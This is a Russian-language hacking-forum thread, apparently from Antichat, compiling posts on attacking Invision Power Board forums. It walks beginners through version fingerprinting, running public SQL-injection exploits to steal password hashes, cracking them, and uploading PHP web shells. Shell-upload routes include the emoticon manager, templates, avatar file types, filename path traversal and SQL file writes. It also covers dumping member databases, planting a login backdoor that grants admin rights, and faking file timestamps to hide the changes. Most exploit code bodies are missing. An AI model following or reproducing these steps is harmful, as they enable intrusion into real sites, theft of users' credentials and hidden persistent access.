![]() |
[Обзор уязвимостей IPB]
В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.
Здесь выкладываем только уязвимости форума Invision Power Board Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках: [Задай Вопрос - Получи Ответ] https://forum.antichat.ru/thread80624.html Раздел: Просьбы о взломах https://forum.antichat.ru/forum44.html Так-же рекоммендуется к прочтению: [Заливка шелла в Форуме] https://forum.antichat.ru/thread76949.html IPB 2.1.7 passive XSS https://forum.antichat.ru/threadnav23405-1-10.html sql-inj в ipb <=2.1.7 http://forum.antichat.ru/threadnav25088-1-10.html Invision Power Board 2.1.7 Exploit http://forum.antichat.ru/threadnav57362-1-10.html Правила раздела! https://forum.antichat.ru/thread39445.html При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна |
[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.
Автор k1b0rg
Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов: 1.Определение версии форума. 2.Взлом форума. 3.Закачака шелла и использование админки. 4."Трояним" форум. (1)Определяем версию 1.3 присутсвует папки: /html/emoticons/ /fonts/ /Skin/ /ssi_templates/ присутсвтуют файлы ssi.php show.php css.php conf_mime_types.php 2.0.* файлы: /sources/help.php /sources/usercp.php /sources/trial_functions.php /sources/topics.php /sources/taskloader.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: Invision Power Board -> Forbidden 2.1.* Присутсвуют папка /ips_kernel/PEAR/ присутствует файлы: info.php реагирует на 403 "доступ запрещен" например к папке /ips_kernel/ как 403: IBForums-> Forbidden (2)А теперь займемся взломом Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку каждый вид взлома: 1) sql инъекция Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее. затем качаем сплойты http://milw0rm.com/id.php?id=1036 http://milw0rm.com/id.php?id=1013 http://milw0rm.com/id.php?id=648 http://www.web-hack.ru/exploit/source/r57ipb2.txt в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char); разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова. Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0 где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума (0- 1.3; 1- 2.0.*) Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен. Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html читаем еще здесь http://www.securitylab.ru/vulnerability/205468.php http://www.securitylab.ru/vulnerability/204662.php http://www.securitylab.ru/vulnerability/203717.php http://www.securitylab.ru/vulnerability/203105.php http://www.securitylab.ru/vulnerability/202735.php http://www.securitylab.ru/vulnerability/201944.php http://www.securitylab.ru/vulnerability/202802.php http://www.securitylab.ru/vulnerability/205603.php 2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме Цитата:
(3)Заливаем шелл. ipb 1.3 заходим под админом(как стать админом уже много раз обсуждалось) Далее заходим в "Administration(Администрирование )" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии: 1.3 /forum/html/emoticons/shell.php 2.* /forum/style_emoticons/default/shell.php где shell.php имя вашего загруженного шелла. ipb 2.* заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл. Скачиваем базу данных. Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим). Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо. (4)"ТРОЯНИМ" форум. А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем. ищем такие строки (по дефолту 382 строчка) ipb 1.3 PHP код:
PHP код:
PHP код:
PHP код:
PHP код:
/sources/action_admin/login.php по дефолту 147 строчка удаляем строки PHP код:
sql.php по дефолту 46 строка: удаляем PHP код:
/sources/lib/admin_functions.php (строка 262) изменяем строку: PHP код:
PHP код:
PHP код:
do_login("You do not have access to the administrative CP"); } то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой touch -t 200310240921 где 2003 год 10 месяц 24 число 09:21 часов советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же. PS Материал востановлен Дата публикации: 11.12.2005, 02:16. Автор k1b0rg . Были внесены изменения по оформлению, и изменены некоторые линки на рабочие |
залитие шела
Автор ShAnKaR
залитие шела в ipb 1.3.* через шаблоны вроде ни где не освещалась эта тема, если было то удалите. иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны. идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон открываем и изменяем начальный кусок кода например на : Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com--> Цитата:
может быть и не s2- цифра в зависимости от номера шаблона PS Материал востановлен Дата публикации: 21.01.2007, 23:21 Автор ShAnKaR |
SQL-inj в админке IPB 2.1.7
Автор: KPOT_f!nd
Вот еще бага IPB 2.1.7 Цитата:
PS Материал востановлен Дата публикации: 19.01.2007, 05:47 Автор KPOT_f!nd |
залитие шела
Автор ShAnKaR
инклуд локального файла в ipb 1.3 естественно если есть доступ в админку идем в панельку для mysql и делаем запрос : Цитата:
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5 и смотрим че получилось, вроде ни где такое еще не упоминалось P.S. локальный файл должен быть доступен для записи PS Материал востановлен Дата публикации: 29.01.2007, 23:17 Автор ShAnKaR |
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
Автор Dimon_Aka_Sexxx
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit PHP код:
PS Материал востановлен Дата публикации: 30.01.2007, 10:08 Автор Dimon_Aka_Sexxx |
протроянивание
Автор VampiRUS
Если возможно изменение исходников, то для того чтоб не брутить хеши: Создаем какую-нибудь неприметную табличку с полями id, name, password. находим в /sources/action_public/login.php (по умолчанию 545'ая строка): PHP код:
PHP код:
UPDATE ibf_members set member_login_key='1' и очистить таблицу ibf_sessions. PS Материал востановлен Дата публикации: 09.04.2007, 13:52 Автор VampiRUS |
Ipb 2.1.7 [PDF] Активная Xss
Автор md5f1h
Активная XSS На 2.1.7 проверял на ост нет... Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7 PS Материал востановлен Дата публикации: 29.04.2007, 17:28 Автор md5f1h |
залитие шела
Автор _GaLs_
1. "Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)" Обычно шелл грузится, если не включен SAFE MODE и хватает прав * /forum/style_emoticons/default/shell.php где default выбраная папка для загрузки shell.php имя вашего загруженного шелла. Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи. Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос. Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера. 2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла" phtml application/octet-stream выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да. идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше. после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл. 3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем: Цитата:
-------------------------------------------------------------------- Примечание Grey'я: -------------------------------------------------------------------- Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется. Можно более прямо составить запрос (вывести произвольную строку в файл): Цитата:
т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись. -------------------------------------------------------------------- -------------------------------------------------------------------- 4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой: PHP код:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/" обычно этот путь указывается. -------------------------------------------------------------------- -------------------------------------------------------------------- PS Материал востановлен Дата публикации: 24.05.2007, 09:31 Автор _GaLs_ |
Уязвимости Модов IPB
Автор _GaLs_
Уязвимости Модов IPB Army System SQL Injection Exploit PHP код:
SQL Injection Exploit PHP код:
PS Материал востановлен Дата публикации: 24.05.2007, 16:56 Автор _GaLs_ |
| Время: 22:55 |